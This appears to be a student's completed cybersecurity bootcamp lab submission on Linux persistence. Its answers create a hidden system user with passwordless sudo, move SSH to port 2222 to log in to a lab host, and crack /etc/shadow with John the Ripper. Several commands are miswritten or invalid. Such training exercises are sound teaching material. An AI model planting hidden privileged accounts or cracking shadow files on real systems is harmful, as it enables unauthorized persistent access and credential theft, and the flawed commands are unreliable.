| Cybersecurity |
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| Module 6 Challenge Submission File |

## Advanced Bash: Owning the System

Make a copy of this document to work in, and then for each step, add the solution commands below the prompt. Save and submit this completed file as your Challenge deliverable.

### Step 1: Shadow People

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created.

| Adduser --system --no-create-home sysd |
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1. Give your secret user a password.

| Passwd sysd |
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1. Give your secret user a system UID < 1000.

| Usermod -u 50 sysd |
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1. Give your secret user the same GID.

| Usermod -u 50 -g 50 sysd |
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1. Give your secret user full sudo access without the need for a password.

| Sysd ALL=(ALL) NOPASSWD:ALL |
| --- |

1. Test that sudo access works without your password.

| Sudo adduser --system --no-create-home test |
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### Step 2: Smooth Sailing

1. Edit the sshd\_config file.

| Port 2222 |
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### Step 3: Testing Your Configuration Update

1. Restart the SSH service.

| Systemctl reload sshd |
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1. Exit the root account.

| exit |
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1. SSH to the target machine using your sysd account and port 2222.

| Ssh sysd@192.168.6.105 -p 2222 |
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1. Use sudo to switch to the root user.

| Sudo su |
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### Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222.

| Ssh sysd@192.168.6.105 -p 2222 |
| --- |

1. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file.

| Sudo su john /etc/shadow |
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